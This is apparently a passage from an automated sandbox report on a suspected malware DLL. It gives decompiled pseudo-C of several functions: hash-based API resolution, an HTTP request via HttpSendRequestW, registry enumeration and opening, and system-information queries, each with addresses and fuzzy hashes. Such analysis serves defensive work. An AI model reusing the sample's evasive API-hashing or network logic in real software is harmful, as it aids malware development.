0x6f00c36b
0x6f00c36b
0x6f00c367
0x6f00c354
0x6f00c33b
0x00000000

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction ID: 03d1e2e68c3054c9508ca3fd4c528863a3ffc1d10b7c31e16936d31a59fac401
Opcode Fuzzy Hash: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction Fuzzy Hash: 396108715083009FE704EF65C990B5FB7E5AFC4354F14CA6EE959972A0EB30E846CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6EFF430F(void* __eax, intOrPtr __ebx, void* __esi, void* __ebp, char _a4, struct _SYSTEM_INFO _a344, intOrPtr _a356, intOrPtr _a360, intOrPtr _a364, short _a372, intOrPtr _a380, char _a384, char _a388, char _a400, char _a404, char _a408) {
				char _v0;
				void* _v4;
				char _v16;
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t48;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t69;

				_t47 = __ebx;
				if(__eax == 0) {
					E6F009510( &_a4);
					if(_a408 != 0) {
						E6F00BE30( &_a404, __esi);
					}
				} else {
					__edx =  *0x6f01b1f4; // 0x14a1340
					if(__edx == 0xc139578) {
						 *0x6f01b1f4 = 0;
						L26:
						__eax = 0x3ab94787;
						_push(0x3ab94787);
						_v4 = E6EFF7564(0x3ab94787);
						if(_v4 == 0) {
							__ecx = 0x3ab94787;
							__eax = E6EFF6C50(0x3ab94787);
							if(__al != 0) {
								__eax = 0x3ab94787;
								_push(0x3ab94787);
								 *__esp = E6EFF7564(0x3ab94787);
							}
						}
						if(_v4 == 0) {
							L42:
							__ecx =  &_v0;
							__eax = E6F009510( &_v0);
							if(_a404 != 0) {
								__ecx =  &_a400;
								__eax = E6F00BE30( &_a400, __esi);
							}
							goto L1;
						} else {
							__esp = __esp + 0xfffffff8;
							__edx = 0xc4b8bd35;
							__eax = _v4;
							__edx = E6EFF67C8(_v4, 0xc4b8bd35);
							L29:
							if(__edx == 0) {
								goto L42;
							}
							 *__edi & 0x000000ff = ( *__edi & 0x000000ff) - 1;
							__eax =  *__edx( *__esi, ( *__edi & 0x000000ff) - 1);
							if(__eax == 0) {
								goto L42;
							}
							__eax =  *__eax;
							if(__eax == 0) {
								__esi = 1;
							} else {
								if(__eax == 0x1000) {
									__esi = 2;
								} else {
									if(__eax == 0x2100) {
										__esi = 4;
									} else {
										if(__eax == 0x2000) {
											__esi = 3;
										} else {
											if(__eax == 0x3000) {
												__esi = 5;
											} else {
												if(__eax != 0x4000) {
													__esi = 7;
													__esi =  !=  ? __ebx : 7;
												} else {
													__esi = 6;
												}
											}
										}
									}
								}
							}
							__ecx =  &_v16;
							__eax = E6F009510( &_v16);
							if(_a388 != 0) {
								__ecx =  &_a384;
								__eax = E6F00BE30( &_a384, __esi);
							}
							L2:
							_t35 =  *0x6f01b1f0; // 0x14a0528
							 *((intOrPtr*)(_t35 + 0x2c)) = _t64;
							_t56 =  *0x6f01b1f4; // 0x14a1340
							if(_t56 == 0xc139578) {
								 *0x6f01b1f4 = 0;
								L9:
								_push(0xa1310f65);
								_t48 = E6EFF7564(0xa1310f65);
								if(_t48 == 0) {
									if(E6EFF6C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t48 = E6EFF7564(0xa1310f65);
									}
								}
								if(_t48 == 0) {
									goto L14;
								} else {
									_t69 = _t69 + 0xfffffff8;
									_t59 = E6EFF67C8(_t48, 0x4e85f18d);
									goto L12;
								}
							} else {
								if(_t56 == 0) {
									goto L9;
								} else {
									goto L5;
								}
								do {
									L5:
									_t54 = _t47;
									_t45 = _t54;
									while( *((intOrPtr*)(_t45 + _t56 + 8)) != 0x4e85f18d) {
										_t54 = _t54 + 1;
										_t45 = _t45 + 0x18;
										if(_t54 < 0x10) {
											continue;
										}
										goto L8;
									}
									_t59 =  *((intOrPtr*)(_t45 + _t56 + 0x14));
									if(_t59 != 0) {
										L12:
										if(_t59 != 0) {
											GetSystemInfo( &_a344);
										}
										L14:
										_t39 =  *0x6f01b1f0; // 0x14a0528
										 *((short*)(_t39 + 0xe)) = _a372;
										 *((intOrPtr*)(_t39 + 0x10)) = _a356;
										 *((intOrPtr*)(_t39 + 0x14)) = _a360;
										 *((intOrPtr*)(_t39 + 0x18)) = _a364;
										 *((intOrPtr*)(_t39 + 0x1c)) = _a380;
										return _t39;
									} else {
										goto L9;
									}
									L8:
									asm("o16 nop [eax+eax]");
									_t4 = _t56 + 0x180; // 0x14a8e68
									_t56 =  *_t4;
								} while (_t56 != 0);
								goto L9;
							}
						}
					}
					if(__edx == 0) {
						goto L26;
					} else {
						goto L22;
					}
					do {
						L22:
						__ecx = __ebx;
						__eax = __ecx;
						while( *((intOrPtr*)(__eax + __edx + 8)) != 0xc4b8bd35) {
							__ecx = __ecx + 1;
							__eax = __eax + 0x18;
							if(__ecx < 0x10) {
								continue;
							}
							goto L25;
						}
						__edx =  *((intOrPtr*)(__eax + __edx + 0x14));
						if(__edx != 0) {
							goto L29;
						}
						goto L26;
						L25:
						asm("o16 nop [eax+eax]");
						_t20 = __edx + 0x180; // 0x14a8e68
						__edx =  *_t20;
					} while (__edx != 0);
					goto L26;
				}
				L1:
				_t64 = _t47;
				goto L2;
			}

0x6eff430f
0x6eff4313
0x6eff444c
0x6eff4459
0x6eff4466
0x6eff4466
0x6eff4319
0x6eff4319
0x6eff4325
0x6eff44f6
0x6eff435a
0x6eff435a
0x6eff435f
0x6eff4365
0x6eff436c
0x6eff44c0
0x6eff44c5
0x6eff44cc
0x6eff44d2
0x6eff44d7
0x6eff44dd
0x6eff44dd
0x6eff44cc
0x6eff4376
0x6eff4420
0x6eff4420
0x6eff4424
0x6eff4431
0x6eff4437
0x6eff443e
0x6eff443e
0x00000000
0x6eff437c
0x6eff437c
0x6eff437f
0x6eff4384
0x6eff438d
0x6eff438f
0x6eff4391
0x00000000
0x00000000
0x6eff439a
0x6eff439e
0x6eff43a2
0x00000000
0x00000000
0x6eff43a4
0x6eff43a8
0x6eff44b6
0x6eff43ae
0x6eff43b3
0x6eff44ac
0x6eff43b9
0x6eff43be
0x6eff44a2
0x6eff43c4
0x6eff43c9
0x6eff4498
0x6eff43cf
0x6eff43d4
0x6eff43f3
0x6eff43d6
0x6eff43db
0x6eff43e4
0x6eff43ee
0x6eff43dd
0x6eff43dd
0x6eff43dd
0x6eff43db
0x6eff43d4
0x6eff43c9
0x6eff43be
0x6eff43b3
0x6eff43f8
0x6eff43fc
0x6eff4409
0x6eff440f
0x6eff4416
0x6eff4416
0x6eff4042
0x6eff4042
0x6eff4047
0x6eff404a
0x6eff4056
0x6eff41cf
0x6eff408b
0x6eff4090
0x6eff4096
0x6eff409a
0x6eff41a6
0x6eff41b1
0x6eff41b7
0x6eff41b7
0x6eff41a6
0x6eff40a2
0x00000000
0x6eff40a4
0x6eff40ab
0x6eff40b3
0x00000000
0x6eff40b3
0x6eff405c
0x6eff405e
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff4060
0x6eff4060
0x6eff4060
0x6eff4062
0x6eff4064
0x6eff4072
0x6eff4073
0x6eff4079
0x00000000
0x00000000
0x00000000
0x6eff4079
0x6eff41be
0x6eff41c4
0x6eff40b5
0x6eff40b7
0x6eff40c1
0x6eff40c1
0x6eff40c3
0x6eff40c3
0x6eff40eb
0x6eff40ef
0x6eff40f2
0x6eff40f5
0x6eff40f8
0x6eff4107
0x6eff41ca
0x00000000
0x6eff41ca
0x6eff407b
0x6eff407b
0x6eff4081
0x6eff4081
0x6eff4087
0x00000000
0x6eff4060
0x6eff4056
0x6eff4376
0x6eff432d
0x00000000
0x00000000
0x00000000
0x00000000
0x6eff432f
0x6eff432f
0x6eff432f
0x6eff4331
0x6eff4333
0x6eff4341
0x6eff4342
0x6eff4348
0x00000000
0x00000000
0x00000000
0x6eff4348
0x6eff44e5
0x6eff44eb
0x00000000
0x00000000
0x00000000
0x6eff434a
0x6eff434a
0x6eff4350
0x6eff4350
0x6eff4356
0x00000000
0x6eff432f
0x6eff4040
0x6eff4040
0x00000000

APIs

GetSystemInfo.KERNELBASE(?), ref: 6EFF40C1

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ea9c8830aa49b03957f494207d75bd5af8311ab2850074779dd9f56454a444bc
Instruction ID: 98622bd7ce59992a1784af7699beb1ed22831345a49d556f5e71cb3e571e96fd
Opcode Fuzzy Hash: ea9c8830aa49b03957f494207d75bd5af8311ab2850074779dd9f56454a444bc
Instruction Fuzzy Hash: 4C512431A08342CBEB54DA99C6B07AE7292AB85314F16856DC858973F5DF34CC83D742

Uniqueness

Uniqueness Score: -1.00%

Function 6F013820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6F013820(intOrPtr* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t39;
				void* _t40;
				intOrPtr _t43;
				void* _t44;
				void* _t48;
				long _t52;
				int _t53;
				intOrPtr _t59;
				void* _t67;
				intOrPtr* _t95;
				intOrPtr _t102;
				intOrPtr _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t109;
				intOrPtr* _t110;

				_t110 = _t109 - 0x60;
				_t107 = __ecx;
				_t39 =  *((intOrPtr*)(__ecx + 8));
				if(_t39 == 0 || _t39 == 0xffffffff) {
					_t40 = 1;
				} else {
					_t40 = 0;
				}
				if(_t40 != 0) {
					L26:
					_push(0);
					E6F009350( *((intOrPtr*)(_t110 + 0x78)));
					return  *((intOrPtr*)(_t110 + 0x74));
				} else {
					_t43 =  *((intOrPtr*)(_t107 + 0x10));
					if(_t43 == 0 || _t43 == 0xffffffff) {
						_t44 = 1;
					} else {
						_t44 = 0;
					}
					if(_t44 != 0) {
						goto L26;
					} else {
						_t75 = _t107 + 0x28;
						E6F007660(_t107 + 0x28, _t110 + 0x3c, 0x6f019424);
						E6EFF87A0(_t110 + 0x44);
						_t48 = E6EFF15C0(0xd27f045a, 0x336e58dc);
						_t98 = _t48;
						if(_t48 != 0) {
							 *_t110 =  *((intOrPtr*)(_t107 + 0x10));
							 *((intOrPtr*)(_t110 + 0xc)) =  *((intOrPtr*)(_t110 + 0x44));
							_t102 =  *((intOrPtr*)(_t107 + 0x28));
							 *(_t110 + 8) = E6F000180( *((intOrPtr*)(_t110 + 0x44)), 0x7fffffff, _t102);
							if(E6F009650( *((intOrPtr*)(_t110 + 0x78))) != 0) {
								 *((intOrPtr*)(_t110 + 4)) = E6F009640( *((intOrPtr*)(_t110 + 0x7c)), 0);
							} else {
								 *((intOrPtr*)(_t110 + 4)) = 0;
							}
							_t52 = E6F009650( *((intOrPtr*)(_t110 + 0x78)));
							_t103 =  !=  ?  *((void*)(_t110 + 0x18)) : _t102;
							_t53 = HttpSendRequestW( *(_t110 + 0x10),  !=  ?  *((void*)(_t110 + 0x18)) : _t102,  *(_t110 + 0x10),  *(_t110 + 8), _t52); // executed
							if(_t53 == 0) {
								_t104 = E6EFF7F00();
								E6F007560(_t75, _t98, _t104);
								if(_t104 != 0) {
									goto L12;
								} else {
									goto L17;
								}
							} else {
								E6F007560(_t75, _t98, _t103);
								L17:
								 *(_t110 + 0x50) = 4;
								_t95 = E6EFF15C0(0xd27f045a, 0xcedbd48c);
								if(_t95 == 0) {
									_t59 = 0x7f;
									goto L24;
								} else {
									_t105 = _t110 + 0x50;
									_push(0);
									_push(_t105);
									_push(_t110 + 0x4c);
									_push(0x20000013);
									_push( *((intOrPtr*)(_t107 + 0x10)));
									if( *_t95() == 0) {
										_t59 = E6EFF7F00();
										if(_t59 != 0) {
											L24:
											 *_t107 = _t59;
											E6EFF8CA0(_t110 + 0x44);
											goto L25;
										} else {
											goto L19;
										}
									} else {
										L19:
										 *((intOrPtr*)(_t107 + 0x34)) =  *((intOrPtr*)(_t110 + 0x4c));
										E6EFF8810(_t110 + 0x38, 0x2800);
										 *(_t110 + 0x50) =  *(_t110 + 0x38) >> 1;
										_t67 = E6EFF15C0(0xd27f045a, 0xcedbd48c);
										if(_t67 == 0) {
											 *_t107 = 0x7f;
											E6EFF8CA0(_t110 + 0x34);
											E6EFF8CA0(_t110 + 0x44);
											goto L25;
										} else {
											_push(0);
											_push(_t105);
											_push( *((intOrPtr*)(_t110 + 0x3c)));
											_push(0x14);
											_push( *((intOrPtr*)(_t107 + 0x10)));
											asm("int3");
											return _t67;
										}
									}
								}
							}
						} else {
							_t104 = 0x7f;
							E6F007560(_t75, _t98, 0x7f);
							L12:
							 *_t107 = _t104;
							E6EFF8CA0(_t110 + 0x44);
							L25:
							E6F000B10(_t110 + 0x3c);
							goto L26;
						}
					}
				}
			}

0x6f013824
0x6f013827
0x6f013829
0x6f01382e
0x6f013839
0x6f013835
0x6f013835
0x6f013835
0x6f013840
0x6f013bba
0x6f013bba
0x6f013bc0
0x6f013bd0
0x6f013846
0x6f013846
0x6f01384b
0x6f013856
0x6f013852
0x6f013852
0x6f013852
0x6f01385d
0x00000000
0x6f013863
0x6f013863
0x6f013872
0x6f01387f
0x6f01388e
0x6f013893
0x6f013897
0x6f0138c2
0x6f0138c5
0x6f0138c9
0x6f0138d1
0x6f0138e0
0x6f013ca0
0x6f0138e6
0x6f0138e6
0x6f0138e6
0x6f0138f2
0x6f013902
0x6f01390c
0x6f013910
0x6f013c7f
0x6f013c83
0x6f013c8a
0x00000000
0x6f013c90
0x00000000
0x6f013c90
0x6f013916
0x6f013918
0x6f01391d
0x6f01391d
0x6f013934
0x6f013938
0x6f013ba0
0x00000000
0x6f01393e
0x6f01393e
0x6f013946
0x6f013948
0x6f013949
0x6f01394a
0x6f01394f
0x6f013956
0x6f013c68
0x6f013c6f
0x6f013ba5
0x6f013ba5
0x6f013bac
0x00000000
0x6f013c75
0x00000000
0x6f013c75
0x6f01395c
0x6f01395c
0x6f013965
0x6f01396c
0x6f013977
0x6f013985
0x6f01398c
0x6f013b89
0x6f013b90
0x6f013b99
0x00000000
0x6f013992
0x6f013992
0x6f013994
0x6f013995
0x6f013999
0x6f01399b
0x6f01399e
0x6f01399f
0x6f01399f
0x6f01398c
0x6f013956
0x6f013938
0x6f013899
0x6f01389b
0x6f0138a0
0x6f0138a5
0x6f0138a5
0x6f0138ac
0x6f013bb1
0x6f013bb5
0x00000000
0x6f013bb5
0x6f013897
0x6f01385d

APIs

HttpSendRequestW.WININET(D27F045A,?,D27F045A,?,00000000,D27F045A,336E58DC,?), ref: 6F01390C

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: 32a070bb9e4e9314f4dc11dd10dc4511c2a099580ee4facd07e663a7538c6b54
Instruction ID: 1bf1393d610802246e7e96338640ecfe644401e92a770c78a83be3a1856ab89f
Opcode Fuzzy Hash: 32a070bb9e4e9314f4dc11dd10dc4511c2a099580ee4facd07e663a7538c6b54
Instruction Fuzzy Hash: C9514F3160C345EBEB10DFA4CD51B9F7BE4AF84754F40492AB9959B2E0EB31E805CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6F00C580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F00C580(intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v0;
				intOrPtr _v4;
				int _v20;
				char _v28;
				int* _v32;
				int* _v36;
				char _v40;
				char _v48;
				char _v303;
				void* __edi;
				void* __esi;
				long _t25;
				signed int _t33;
				char _t45;
				int _t62;
				intOrPtr _t63;
				char* _t64;
				char* _t66;

				_v40 = 0;
				_t62 = 0;
				_v36 = 0;
				_t63 = __ecx;
				_v32 = 0;
				_t64 = _t66;
				while(1) {
					_v20 = 0x105;
					if(E6EFF15C0(0x3ab94787, 0x31fb9d90) == 0) {
						goto L3;
					}
					_t25 = RegEnumValueA( *(_t63 + 4), _t62, _t64,  &_v20, 0, 0, 0, 0); // executed
					if(_t25 == 0) {
						goto L3;
					}
					_t45 = _v40;
					_t26 = 0;
					if(_t45 <= 0) {
						L9:
						E6F000930(_a4, _t26, _t26);
						E6F007560( &_v48, _t62, _t63);
						return _v4;
					} else {
						_t63 = _t45;
						_t65 = 0;
						_t62 =  &_v28;
						while(1) {
							E6F001240(E6F007600( &_v40, _t65), _t62); // executed
							_t40 = _v36;
							_t33 = E6F00D620(_t40, E6F006040(_v36, 0x7fffffff));
							E6F000B10(_t62);
							if((_t33 ^ 0x38ba5c7b) == _v0) {
								break;
							}
							_t65 =  &_v303;
							if( &_v303 < _t63) {
								continue;
							} else {
								_t26 = 0;
								goto L9;
							}
							goto L11;
						}
						E6F000750(_v0, E6F007600( &_v40, _t65));
						E6F007560( &_v48, _t62, _t63);
						return _v4;
					}
					L11:
					L3:
					E6F0037E0( &_v40, _t64, _v40);
					_t62 = _t62 + 1;
				}
			}

0x6f00c58e
0x6f00c595
0x6f00c597
0x6f00c59e
0x6f00c5a0
0x6f00c5a7
0x6f00c5aa
0x6f00c5aa
0x6f00c5c8
0x00000000
0x00000000
0x6f00c5db
0x6f00c5df
0x00000000
0x00000000
0x6f00c5f8
0x6f00c5ff
0x6f00c603
0x6f00c662
0x6f00c66b
0x6f00c677
0x6f00c68d
0x6f00c605
0x6f00c607
0x6f00c609
0x6f00c60b
0x6f00c612
0x6f00c622
0x6f00c627
0x6f00c63e
0x6f00c647
0x6f00c659
0x00000000
0x00000000
0x6f00c65b
0x6f00c65e
0x00000000
0x6f00c660
0x6f00c660
0x00000000
0x6f00c660
0x00000000
0x6f00c65e
0x6f00c6a7
0x6f00c6b3
0x6f00c6c9
0x6f00c6c9
0x00000000
0x6f00c5e1
0x6f00c5f0
0x6f00c5f5
0x6f00c5f5

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,?,00000000,00000000,00000000,00000000,3AB94787,31FB9D90,?,?,3AB94787,31FB9D90), ref: 6F00C5DB

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction ID: 1c9c580ff7c707e1ba0cf2ca6d9cadf0f940d49e46ff896036f2163e89539033
Opcode Fuzzy Hash: 71b1a84cdbfb9666a2904b00dc10ff6c6848b6122441b50c3cd9c2af10e49e24
Instruction Fuzzy Hash: BA31C4316083445BE375EB28DC90BEF73D9EBD9304F10492DA18D83280EF716D858BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6F00C405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6F00C405(intOrPtr __eax, void* __edi, intOrPtr __ebp, void* _a8, int _a12, void* _a16, void* _a20, void** _a28, void** _a32, void** _a36, char _a40, unsigned int _a44, char _a48, void** _a52, void* _a64, void* _a68) {
				unsigned int _v0;
				void* _v4;
				unsigned int _v8;
				void* _v20;
				void* _v28;
				void* _t41;
				intOrPtr* _t42;
				void** _t45;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t51;

				_t51 = __ebp;
				_t49 = __eax;
				if(__eax != 0) {
					_t42 = _a16;
					goto L1;
				} else {
					do {
						__edx =  &_a48;
						__ecx =  &_a40;
						__eax = E6EFFA0D0( &_a40,  &_a48);
						__edx = _a44;
						__ecx =  &_a52;
						__eax = E6EFF83B0( &_a52);
						__esi = _a52;
						__ecx = __esi;
						__edx = 0x7fffffff;
						__eax = E6F006040(__esi, 0x7fffffff);
						__ecx = __esi;
						__edx = __eax;
						__esi = __eax;
						__ecx =  &_a52;
						__eax = E6F000B10( &_a52);
						if(__esi != __edi) {
							__ecx =  &_a48;
							__eax = E6EFF8CA0( &_a48);
							__ebx = __ebx + 1;
							goto L12;
						} else {
							__edi = _a36;
							__ecx =  &_a48;
							__esi =  *(__ecx - 0x10);
							__eax = E6EFF8CA0(__ecx);
							if(__edi != 0) {
								__ecx =  *(__esp + 0x1c);
								__eax = E6EFF96D0( *(__esp + 0x1c), 0x5c);
							}
							__ecx =  *(__esp + 0x20);
							__eax = E6F000220( *(__esp + 0x20), _a40, 0);
							_a12 = 0;
							__eax = E6EFF15C0(0x3ab94787, 0xd5493f9);
							__edx = __eax;
							if(__eax == 0) {
								__edx = 0;
							} else {
								__eax =  &_a20;
								__ecx =  *(__eax - 0xc);
								__ecx =  ==  ?  *((void*)(__eax - 0x10)) :  *(__eax - 0xc);
								__ebx = __eax[1];
								__eax = RegOpenKeyExW( *(__esp + 0x68),  *(__eax[1]), 0, __ecx, __eax); // executed
								__edx = __eax;
							}
							__ebx = _a20;
							if(__ebx == 0 || __ebx == 0xffffffff) {
								L34:
								__ebx = _a16;
								__esi = __edx;
								L1:
								if( *((char*)(_t42 + 8)) == 0) {
									L9:
									 *((intOrPtr*)(_t42 + 4)) = _t51;
									 *((char*)(_t42 + 8)) = 1;
									E6EFF8CA0( &_a40);
									 *_t42 = _t49;
									return _t49;
								} else {
									_t48 =  *((intOrPtr*)(_t42 + 4));
									if(_t48 == 0 || _t48 == 0xffffffff) {
										_t45 = 1;
									} else {
										_t45 = 0;
									}
									if(_t45 != 0) {
										goto L9;
									} else {
										_t41 = E6EFF15C0(0x3ab94787, 0x91935d4e);
										if(_t41 == 0) {
											goto L9;
										} else {
											_push(_t48);
											asm("int3");
											return _t41;
										}
									}
								}
							} else {
								if(__esi == 0) {
									L30:
									__edi =  &(__edi[0]);
									__ebp = __ebx;
									if(__edi < _a28) {
										__esi = 1;
										__eax = __edi * 4;
										__ecx =  *(__esp + 0x58);
										__eax = E6F009640( *(__esp + 0x58), __edi * 4);
										__eax =  *__eax;
										__ebx = 0;
										__eax = __eax ^ 0x38ba5c7b;
										_a32 = __edi;
										__edi = __eax;
										_a28 = 1;
										goto L12;
									} else {
										goto L34;
									}
								} else {
									if(__ebp == 0 || __ebp == 0xffffffff) {
										__eax = 1;
									} else {
										__eax = 0;
									}
									if(__eax != 0) {
										goto L30;
									} else {
										_v0 = __edx;
										__eax = E6EFF15C0(0x3ab94787, 0x91935d4e);
										__edx = _v8;
										if(__eax == 0) {
											goto L30;
										} else {
											_push(__ebp);
											_v0 = __edx;
											asm("int3");
											return __eax;
										}
									}
								}
							}
						}
						goto L35;
						L12:
						__eax = E6EFF15C0(0x3ab94787, 0xf561ae8b);
					} while (__eax == 0);
					__edx = _a44;
					__edx = _a44 >> 1;
					_push(_a44 >> 1);
					_push(_a40);
					_push(__ebx);
					_push(__ebp);
					asm("int3");
					return __eax;
				}
				L35:
			}

0x6f00c405
0x6f00c405
0x6f00c409
0x6f00c52e
0x00000000
0x6f00c40f
0x6f00c40f
0x6f00c40f
0x6f00c414
0x6f00c418
0x6f00c41d
0x6f00c421
0x6f00c425
0x6f00c42a
0x6f00c42e
0x6f00c430
0x6f00c435
0x6f00c43a
0x6f00c43c
0x6f00c443
0x6f00c445
0x6f00c449
0x6f00c450
0x6f00c51f
0x6f00c523
0x6f00c528
0x00000000
0x6f00c456
0x6f00c456
0x6f00c45a
0x6f00c45e
0x6f00c461
0x6f00c468
0x6f00c46c
0x6f00c470
0x6f00c470
0x6f00c47b
0x6f00c47f
0x6f00c484
0x6f00c496
0x6f00c49b
0x6f00c49f
0x6f00c4c3
0x6f00c4a1
0x6f00c4a5
0x6f00c4a9
0x6f00c4ac
0x6f00c4b4
0x6f00c4bd
0x6f00c4bf
0x6f00c4bf
0x6f00c4c5
0x6f00c4cb
0x6f00c537
0x6f00c537
0x6f00c53b
0x6f00c337
0x6f00c33b
0x6f00c36c
0x6f00c36c
0x6f00c373
0x6f00c377
0x6f00c37c
0x6f00c387
0x6f00c33d
0x6f00c33d
0x6f00c342
0x6f00c34d
0x6f00c349
0x6f00c349
0x6f00c349
0x6f00c354
0x00000000
0x6f00c356
0x6f00c360
0x6f00c367
0x00000000
0x6f00c369
0x6f00c369
0x6f00c36a
0x6f00c36b
0x6f00c36b
0x6f00c367
0x6f00c354
0x6f00c4d2
0x6f00c4d4
0x6f00c510
0x6f00c510
0x6f00c511
0x6f00c517
0x6f00c3ba
0x6f00c3bf
0x6f00c3c7
0x6f00c3cb
0x6f00c3d0
0x6f00c3d2
0x6f00c3d4
0x6f00c3d9
0x6f00c3dd
0x6f00c3df
0x00000000
0x6f00c51d
0x00000000
0x6f00c51d
0x6f00c4d6
0x6f00c4d8
0x6f00c4e3
0x6f00c4df
0x6f00c4df
0x6f00c4df
0x6f00c4ea
0x00000000
0x6f00c4ec
0x6f00c4f6
0x6f00c4fa
0x6f00c4ff
0x6f00c504
0x00000000
0x6f00c506
0x6f00c506
0x6f00c507
0x6f00c50b
0x6f00c50c
0x6f00c50c
0x6f00c504
0x6f00c4ea
0x6f00c4d4
0x6f00c4cb
0x00000000
0x6f00c3e3
0x6f00c3ed
0x6f00c3f2
0x6f00c3f6
0x6f00c3fa
0x6f00c3fc
0x6f00c3fd
0x6f00c401
0x6f00c402
0x6f00c403
0x6f00c404
0x6f00c404
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,00000000,3AB94787,0D5493F9,?,00000000), ref: 6F00C4BD

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction ID: 9385501b5aa5feb12ee4cae4117923b5d8206273c6a203c9726bdbc7fb7b3b96
Opcode Fuzzy Hash: 0e37b628d0b4e674bacbd8cf169e758a79634cf178c09426afabd7f642685cea
Instruction Fuzzy Hash: D42184356083419BEB01EF64C990B6F73E5AFC4758F148E1DE9655B2A0EF30E8458BA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF1030, Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E6EFF1030() {
				void* _v20;
				void* _t4;
				intOrPtr* _t9;
				void* _t11;

				if( *0x6f01b1e0 == 0xe99c89bf) {
					_t9 = E6EFF15C0(0x588ab3ea, 0xc0b67de0);
					 *0x6f01b1e4 = E6EFF15C0(0x588ab3ea, 0x82d274c4);
					if( *0x6f01b1e0 == 0xe99c89bf) {
						 *_t9(2, 0, 0, 0, 0, 0); // executed
						 *0x6f01b1e0 = 0;
					}
				}
				_t4 = E6EFF15C0(0x588ab3ea, 0x996e050f);
				if(_t4 == 0) {
					return 0;
				} else {
					_push( *((intOrPtr*)(_t11 + 8)));
					_push(8);
					_push( *0x6f01b1e0);
					asm("int3");
					return _t4;
				}
			}

0x6eff103b
0x6eff1073
0x6eff1084
0x6eff1093
0x6eff109e
0x6eff10a0
0x6eff10a0
0x6eff1093
0x6eff1047
0x6eff104e
0x6eff1063
0x6eff1050
0x6eff1050
0x6eff1054
0x6eff1056
0x6eff105c
0x6eff105d
0x6eff105d

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,588AB3EA,82D274C4,588AB3EA,C0B67DE0,?,6EFF8864,00000000,00000000,00000000,?), ref: 6EFF109E

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
